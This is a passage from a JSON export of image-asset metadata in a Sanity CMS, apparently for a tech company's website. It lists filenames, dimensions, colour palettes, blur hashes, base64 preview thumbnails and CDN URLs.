image/png","originalFilename":"rauli_ikonen.png","path":"images/sczeoy4w/production/14cbd7fe5d4aa9193622f6babf8aa121bcc1a512-160x160.png","sha1hash":"14cbd7fe5d4aa9193622f6babf8aa121bcc1a512","size":10178,"uploadId":"KiRvZ7GYgCetADXvEgocudhv48uNNXOZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/14cbd7fe5d4aa9193622f6babf8aa121bcc1a512-160x160.png"} {"_createdAt":"2022-06-30T20:09:39Z","_id":"image-14e957124f319e2ac691f18cd923fc4bdaf87dce-1328x257-png","_rev":"CK1sLU2mnwa3vmbYWEdOAy","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:57Z","assetId":"14e957124f319e2ac691f18cd923fc4bdaf87dce","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"44SY~y-V01~C4:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.167315175097277,"height":257,"width":1328},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAlklEQVQYlX2Q0Q7CIAxF+f9v2yf4oi/LnA7coKXAuKbMmS0mPpyUNuW0YPphwPh4Ylk8YowNZo2ClDLWdUWt9S9eEi6jRXftYabJwrpXExLxl10qkpDSmZzzKZ+JcblP6G49jHMO87yAeBOFEBCIwKxSrdEPx3p7UZQmtZ5gvPetoZRtqp61SUS3O7OLjlHvlFJQP1/zBoZBNvF3dA1aAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#336e74","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#267d94","foreground":"#fff","population":0.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#267d94","foreground":"#fff","population":0.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8bac4","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9fdeec","foreground":"#000","population":0.19,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#477984","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#41a2bd","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"14e957124f319e2ac691f18cd923fc4bdaf87dce-1328x257.png","path":"images/sczeoy4w/production/14e957124f319e2ac691f18cd923fc4bdaf87dce-1328x257.png","sha1hash":"14e957124f319e2ac691f18cd923fc4bdaf87dce","size":37630,"uploadId":"fogAobx5YJrOLI3ALIHjsOG4KiHUzxVL","url":"https://cdn.sanity.io/images/sczeoy4w/production/14e957124f319e2ac691f18cd923fc4bdaf87dce-1328x257.png"} {"_createdAt":"2023-12-15T09:11:58Z","_id":"image-1503a9894340d46761abdd95896be293cc70b2ec-2250x1178-png","_rev":"7oPGYyiRG7hm5kP9hXiCuw","_type":"sanity.imageAsset","_updatedAt":"2023-12-15T09:12:41Z","altText":null,"assetId":"1503a9894340d46761abdd95896be293cc70b2ec","description":"Gaming ebook image","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M58gdr0pnx}y0FxvS6k9odNM0D}zWA5J~0","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9100169779286926,"height":1178,"width":2250},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABuvAAAbrwFeGpEcAAACfklEQVQokTWS/U8SARjH7x8op+UBdycH3BtwCILoIUJGpC7SzCTfcqGFFprY8SZkuOnaWq2fam2t9b9+GmQ/PNuzPdtn3z3fj3BrfIPB3BbLjHi3GfXtMSbvc0epMu6vIap1PEEXr9ZG0nsoZh/F6iMbPSTjHNnsDffB3RNqIgxAY9IWon8Xb+Al3uABUugQWT9mwqwjGy7eUANPqI1inmMnXRzniIxzgOPsk8m8IpmuEYw28WodhAFMs1+Tmqszk2uQyjaZnu8we++C2fwlkWQPSW8OgarVIJ/dZWe5QOXRPJVHOSqlHKsPHhObeodiXSHcVbaxUzXuL3VZXOlTLF1SLF1RLH1irnCFmThH0v4l9Jt1itlV3PIU/V2bjzsxLnZs9pbniSfeoka//EtoxKrM5l1yxXPyixfkH/bJFi5JOB8IRFr4boABq87TpTW+nab5043zuxPnV3sS90WOdPoN/shnhFHfc1Rrn9j0MQmnTmquSSrbYSrTHQKtqS6K0UQMttCiZ2w/2eDr6Sw/G3F+NOJ8dxM0Xy6QyRwyYV0jjHjKeNRdVOuAYKRKyH6LZr9Ds88w4i20WBtZdxkPuIQip6wtlWlsObQ3J2lvxmlvJamsFEhNV5HNPsLI+Aair4zk30EKVvCFXiFpR0yYJ6jh98MiZP0MMXCCoh/jzLxgZaHE2sIi64US6w+eUJzfxLJrQ3WEMXGdoPyMsLmHYR+iho8IRU+IpppMznSHLeuxFpJ2gketMaHX0MJHGNEa4UmXSLyDbreQ9cGfGwij4joB5RmmsYcWreI3DwlEjofAWLpLONlDuwH+F10MDNxsIxmXKNY1kn4xlNoTbPAXMi1gXOtgHYUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#372e63","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":8.84,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cbb682","foreground":"#000","population":9.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8497c4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cbb682","foreground":"#000","population":9.46,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d6c84","foreground":"#fff","population":2.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2786","foreground":"#fff","population":5.76,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"gaming meta image.png","path":"images/sczeoy4w/production/1503a9894340d46761abdd95896be293cc70b2ec-2250x1178.png","sha1hash":"1503a9894340d46761abdd95896be293cc70b2ec","size":306097,"title":"Gaming ebook - meta image","uploadId":"Nop6dsEkue7Z43zGHoJ3VC2AVkXcrPbk","url":"https://cdn.sanity.io/images/sczeoy4w/production/1503a9894340d46761abdd95896be293cc70b2ec-2250x1178.png"} {"_createdAt":"2022-06-30T11:56:59Z","_id":"image-1504fec517f17870f4b1c9ba02660c18e519e85b-35x35-png","_rev":"CK1sLU2mnwa3vmbYWEdEGe","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:06Z","assetId":"1504fec517f17870f4b1c9ba02660c18e519e85b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e46*p|t700RjWBt7ayWBoffQ00WB?wkC%MV@ofj[RjofWBj[%Mj]IA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":35,"width":35},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACS0lEQVQ4jaVUWU8aYRTlN7SswyoqDAahxQIFZCkQEIEiyL6jRVBAU6FLKPRFE5/av3ya+yU0dIYhJH24mXDz5dyzXK5MrtRAWK8ValFv15LtAkY9YV9qqEzq0Qpk1Vv/LXwn3wQofKTS6LC3b4XdeQKX2w+nywsLfwxOb9r4Xr4OKJyiN+7jnTeITL6K9vUIo89z9EdTlGo9hGMpHPJ2KNXajbJlwkkEFowkUO/coNrqo9K8ZmCtq1uU6j00e0OkL8rgj5xQqLh/LBFJJpnEjMByxQYcbz1MpssTgNsXgjcQQepjEc3eLRLneRjNlu0ekmckk5gRGPPxgIfvNIpCpY1itYPTSIIxrHcGzFvFGksRIAVAnpFMi+0Y5gMeyXQBg/EXLJ5+4X66QCAcRyyZZTZEExlotAbpUGjiKoATTwD+YAzDyVfM5s/4tnz5yyp3Wcds/oTMRQVa/R5eyVViQCpajf7dlBlPnl1WO1g+/8b3ny/4dPfI5BJr8m/8+ANnmQI4nUkMuAIlmcValwFRAJTqw2yJRnfIkjeZLQzgQ/ycWeMLRqHU6KQ9pKWlPWt0B0hliwhFk4wVyTQf8tDqTUwFDcqXW7AeOaT/eqspxDKbr7K9I4/iZzm2QhROLJFFqX6FWrsPjz8MtSAQUSj0JQk2+xsk03kWws14xkKZTBfo9icolFtwvw9BZzDvfm0UKo4tLUmlFSGmFAB5ZrU5oOYMkpdHtu3SEDDtGa0GpzMy9tsOg3zb+VoHprWg2uUmiiRvO5671EbA/6k/2wFPRHCmvUsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4446","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04090e","foreground":"#fff","population":1.55,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04090e","foreground":"#fff","population":1.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4bc","foreground":"#000","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#97bce1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#798086","foreground":"#fff","population":1.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#387fc6","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1504fec517f17870f4b1c9ba02660c18e519e85b-35x35.png","path":"images/sczeoy4w/production/1504fec517f17870f4b1c9ba02660c18e519e85b-35x35.png","sha1hash":"1504fec517f17870f4b1c9ba02660c18e519e85b","size":1007,"uploadId":"zI3A8FRh6PwD5VAwBIfMktzTNj4yJUlG","url":"https://cdn.sanity.io/images/sczeoy4w/production/1504fec517f17870f4b1c9ba02660c18e519e85b-35x35.png"} {"_createdAt":"2023-09-06T08:23:36Z","_id":"image-15221920d801849b41c37e2e9698038d5077a362-1858x652-png","_rev":"Dk4vsGyYpr9Xi9g7qxxN8l","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:23:36Z","assetId":"15221920d801849b41c37e2e9698038d5077a362","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.8496932515337425,"height":652,"width":1858},"exif":{"PixelXDimension":1858,"PixelYDimension":652,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABEElEQVQokW1RXW8DIQy7//8P9zhNXVvuDsoBCeHLU1Cvm7Q+WCiQ2I5ZvD9gzIrbzeB6veP7+4p13UBEaK2h9/4WY4y3WFJi7PaAWf3Etns8HgdSSmDOEzlniBSIyKz1VLG3hMETNuOxGg9rI0JkEGdEYiRiMCsysggoy3xTgVLKP6e9DyzOBGxfO6yx8D4gJUJigYsZXsmfpCQFnisC5dddrXUSAQN9DFQlpCAgl0BHeq7JyFIQuUxHup66yaUi5DKd/137letJ2FpHlQp2EcE8EPxvfurgHNBhyoyDAlh41jqrxBrB2buU2iFUED53bB8X3C833I2Bs242n/m03hAlwpJDkvQSUmE1oJ+mGf4AHRYhHzj6oXMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#572c54","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4145c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a3cbb2","foreground":"#000","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3cbb2","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f47ccc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c74a5","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb57a3","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-add-kafka-integration.png","path":"images/sczeoy4w/production/15221920d801849b41c37e2e9698038d5077a362-1858x652.png","sha1hash":"15221920d801849b41c37e2e9698038d5077a362","size":136005,"uploadId":"zPqWSjNzyez2aMazjpaOACqbJIsUypMY","url":"https://cdn.sanity.io/images/sczeoy4w/production/15221920d801849b41c37e2e9698038d5077a362-1858x652.png"} {"_createdAt":"2024-02-22T21:47:40Z","_id":"image-153d959e0c350fa07cf8ed8574d83ddf93f54d8b-699x464-jpg","_rev":"Mk8T7qW1qkXH53nhCQtFtN","_type":"sanity.imageAsset","_updatedAt":"2024-02-22T21:47:40Z","assetId":"153d959e0c350fa07cf8ed8574d83ddf93f54d8b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VTJHXAMyS#RjRk~Vxt.8ozIUIpxutRf,t6M{Rjs.t7xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5064655172413792,"height":464,"width":699},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHBP/EACUQAAEDAwMDBQAAAAAAAAAAAAECAwQABQYREyESMUEiUWGRsf/EABYBAQEBAAAAAAAAAAAAAAAAAAQCA//EABsRAAICAwEAAAAAAAAAAAAAAAABAhEDEzEh/9oADAMBAAIRAxEAPwBkby/Hr0AuakxZK/SXNOD8Gs2PWm1xcnL4WFnu2Txx7io3h5S7ckuykbyGxubZOgJp7zHIly7amTHitxJMUAtuNKP0R5oOht3Lox5fKjwesocYcuhOvZAH7RU4h5NKukRmS+hAc6ek6edPNFW4szTVH//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#594d36","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#623b1a","foreground":"#fff","population":7.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#623b1a","foreground":"#fff","population":7.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdc4b5","foreground":"#000","population":6.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7c39f","foreground":"#000","population":0.55,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac7f52","foreground":"#fff","population":3.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c55c3c","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aquavit.jpg","path":"images/sczeoy4w/production/153d959e0c350fa07cf8ed8574d83ddf93f54d8b-699x464.jpg","sha1hash":"153d959e0c350fa07cf8ed8574d83ddf93f54d8b","size":105570,"uploadId":"GTmEOmTKKQmciM3UBvN1SdoCHkuh169m","url":"https://cdn.sanity.io/images/sczeoy4w/production/153d959e0c350fa07cf8ed8574d83ddf93f54d8b-699x464.jpg"} {"_createdAt":"2022-06-30T11:58:23Z","_id":"image-153ec55eabaace9a3bd334a92f861ab6fa3a0fde-640x234-png","_rev":"QRl2cGoCgj0FlAhkRrhifQ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:50Z","assetId":"153ec55eabaace9a3bd334a92f861ab6fa3a0fde","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D4Rysg_N~qV?~qogj?M{9E%L","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.735042735042735,"height":234,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABEElEQVQYlVXNSWLEIAxE0b7/GZM4BozNYMQgSwJ6kbSTTf/9q3qklLz3xmht9L67GFOtjYlbQ+ecWr/Vuqq79U4b7ZxLAIj4EJFas7X6c/n8+FqsdYhX7yOXaoxS62K01kr/YaXWzW4JgJh77485pzDHGFatFrWGEIVljJFLsXbbjLbbZjdjtNJaGaN8OBDbmPP5fL7wHIOJS6kJoORMRCJSStmPwxiz73uKAaIP/vDelZql80vNeeO70QfiFUM843ldFxEBgLXWe39dKExXqyVDbZWZxhhveM7JxDEE5xwijjGI6DzPnLOI3OsdsQFArbnL6/wN995LKTmDMD/nFJHWGtH/z5yvOYBUchDGX/wDmmOKBP3/8PMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#836a16","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#715b13","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9db8f4","foreground":"#000","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4acd4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9db8f4","foreground":"#000","population":0.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#88ac64","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9d07c","foreground":"#000","population":0.08,"title":"#000"}}},"mimeType":"image/png","originalFilename":"153ec55eabaace9a3bd334a92f861ab6fa3a0fde-640x234.png","path":"images/sczeoy4w/production/153ec55eabaace9a3bd334a92f861ab6fa3a0fde-640x234.png","sha1hash":"153ec55eabaace9a3bd334a92f861ab6fa3a0fde","size":24862,"uploadId":"xBqJbdMugvmBK1ulHLtNIulpvNje4FFx","url":"https://cdn.sanity.io/images/sczeoy4w/production/153ec55eabaace9a3bd334a92f861ab6fa3a0fde-640x234.png"} {"_createdAt":"2024-03-12T13:01:27Z","_id":"image-1541086f4a9c070ef8a0ed136784221b114c1e44-1920x1080-png","_rev":"YZDTfZCd9Sx4xq41jg1WB0","_type":"sanity.imageAsset","_updatedAt":"2024-03-12T13:01:27Z","assetId":"1541086f4a9c070ef8a0ed136784221b114c1e44","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M87d-T$[Mv%1M{?dawNEt9R%IvR*WqIooI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACyElEQVQokS2RaVNTBxSG8wtast3c3Gx3yQbhQpQWSWgI8RISTUyIUbAoCGQhZCUJKKZqpUpdptpW7Yxj+1+fToIf3i9nzjzzvOeYrK5NpqN1YqsDEmuP+ckYsWw8ZSX9gpX1lyTSF6xk3pK6+Z504SPGrc+kcv9g5D+TuvGe1ewb4sY5oegQUe1iEjxbzC82MW6OWL/1nPX8CzKFV2SLr8luvCO78QeZ4gdy5U8U732hsPUv+bv/kbvzFSP/F0upC67En6HN9nHIbUw29yazV2sk1wbEV4dcjQ1YWH7EteSIZPpXkusvWUq9Im68JZn9EyP3kXT+E6ns3ywk3qDpI9zBAaLaQZA7mCxSmdjSHlvFFrF4DUndQ1SqhOeOMNa6JFLHBOaGeMNnBK+cY2TesVn6neupc/z6U0TtFEHuYZe7ONQhJqtUppSt8FtrQPFGHVHeweJ6yHS0RqHUIZ3roOldBLmPOjvidvk1/cpzNrJDtJk+drmD3ddCkNuXwLHh9cQ+zfs9sukjPIEDbJ59NL1BLDPkWvoE//y4UhdP6Jjl1UcUcsckEm2UcGOya3XvY/McXlY2O+8QjDxkablJ9McmvlANwVfBG26hx87QY0/Q9AFOtYmoNAjoHeYXB8wtnuHXeziVSwGb9xC7r43JLJbxKNv4Zw5QpqtI6gEOuYI31CYUPcGvD3H5m9i9NezeKpJWxxduo0RO8YZ6iMp4Xp/YOZQ+JqujhN9bZia8SyBSwx2o4gsdEVk4QV88Q4kcT2AW19637GJ17yHI47u1sHnr2H1NHOoAp/Z4DNxAdpcIBh6gTldx+Sv4Qg0iP3wDzvSweSqYpV3M0g5T4jZTzvtYPbXJM8Y1x2ZO/xNcwWeYvhNKTAm3MYt3MUs/Y5F2JjdxyIc41bFFY2Jmdj5gyrnN9+K9SSzuAwS5i6ieIgV+wRU6xxO+4H8eGYY2d8BV6wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#362f63","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131d6c","foreground":"#fff","population":11.88,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131d6c","foreground":"#fff","population":11.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4b1c4","foreground":"#000","population":0.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecc4ba","foreground":"#000","population":0.37,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa7e60","foreground":"#fff","population":0.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac4847","foreground":"#fff","population":0.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"GCustom Devrel video thumbnail template Dark blue.png","path":"images/sczeoy4w/production/1541086f4a9c070ef8a0ed136784221b114c1e44-1920x1080.png","sha1hash":"1541086f4a9c070ef8a0ed136784221b114c1e44","size":657373,"uploadId":"E3WxxyLuwu9NwsTAUl1CefqoXvmCLz7F","url":"https://cdn.sanity.io/images/sczeoy4w/production/1541086f4a9c070ef8a0ed136784221b114c1e44-1920x1080.png"} {"_createdAt":"2024-03-19T15:40:24Z","_id":"image-15547074f8b3aa70200a13427bb4d001d06f4bea-2000x355-png","_rev":"PjhTiFLESFHgz5EjC9Lqdx","_type":"sanity.imageAsset","_updatedAt":"2024-03-19T15:40:24Z","assetId":"15547074f8b3aa70200a13427bb4d001d06f4bea","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4iDJO~j[00WB~q","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.633802816901408,"height":355,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAdElEQVQYlZWPwQmFQAxEFw//25G/i73am1ZjBdqJGzDLT8aN5LJ4ENGBgTAZHkwIFyqlBDNztwB6EZlVZPbbM/9557EAVCAz9ynRQkRLzrkCvfNYqhX42TaOa6LJzZyjmX1fA0+TG8Xe/QWDCEbF/vPsbvIBpBJ+iF7OJUwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"badge-google-cloud-2023-partner-of-the-year-breakthrough-emea.png","path":"images/sczeoy4w/production/15547074f8b3aa70200a13427bb4d001d06f4bea-2000x355.png","sha1hash":"15547074f8b3aa70200a13427bb4d001d06f4bea","size":28930,"uploadId":"Xs5m94HUAqwmKFg2FmdoJ9SpMnv1U0j4","url":"https://cdn.sanity.io/images/sczeoy4w/production/15547074f8b3aa70200a13427bb4d001d06f4bea-2000x355.png"} {"_createdAt":"2023-09-21T08:46:40Z","_id":"image-15765fb6ace874773caf183c42139c01d0e49cc0-1200x628-jpg","_rev":"OlHhyDbudqKag6cjy1vB78","_type":"sanity.imageAsset","_updatedAt":"2023-09-21T08:46:40Z","assetId":"15765fb6ace874773caf183c42139c01d0e49cc0","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M56Rc|~IRgDiMx?d%MWTM|Rk4nIUxt%Njp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQCAwf/xAAgEAABAwQCAwAAAAAAAAAAAAABAAIDBAURMhITFCFR/8QAFgEBAQEAAAAAAAAAAAAAAAAABAIG/8QAGxEBAAAHAAAAAAAAAAAAAAAAAAECAxESIWH/2gAMAwEAAhEDEQA/AMgt09n8ONs7MS8cE8UlWmnbKW0bnOj+lIgnojU4t1qaMLbEmMAMO3ooVT9ihKy4h//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#373764","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":11.45,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":11.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3d6e6","foreground":"#000","population":4.91,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f83c3","foreground":"#fff","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a7093","foreground":"#fff","population":1.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":8.5,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"postgresql-timescaledb_meta-preview.jpg","path":"images/sczeoy4w/production/15765fb6ace874773caf183c42139c01d0e49cc0-1200x628.jpg","sha1hash":"15765fb6ace874773caf183c42139c01d0e49cc0","size":51102,"uploadId":"R0KSzkUtI1A1V7B2xwB9NCRys9w6vJkM","url":"https://cdn.sanity.io/images/sczeoy4w/production/15765fb6ace874773caf183c42139c01d0e49cc0-1200x628.jpg"} {"_createdAt":"2023-07-05T09:40:54Z","_id":"image-15825242d911ccf100493f6de14c0cfedd7b0e9c-5391x2072-png","_rev":"jmXwzbQPeNoPKy7NrQUuin","_type":"sanity.imageAsset","_updatedAt":"2023-07-05T09:40:54Z","assetId":"15825242d911ccf100493f6de14c0cfedd7b0e9c","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.601833976833977,"height":2072,"width":5391},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAoklEQVQokZWR2Q6FIAxE+f+vNcoia81pMjd43zSZFOz0tEBYa9kX/X9jDMs523Vddp6nhVqr/7jv2+acbqKQtXIpJSulWO/9BcfTe3dPjNGhATNkIklMdAWm3HEcHmmKh3xrzfe1Vm+GFwXIFEAnIWkyhEdTAhAMtda8CRH9gEwAZAfue6SJJE38AipB1HF2wy4V68hqojskhq+vvD+IwPu1PZsMJHGGrqVQAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#646464","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#646464","foreground":"#fff","population":0.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteS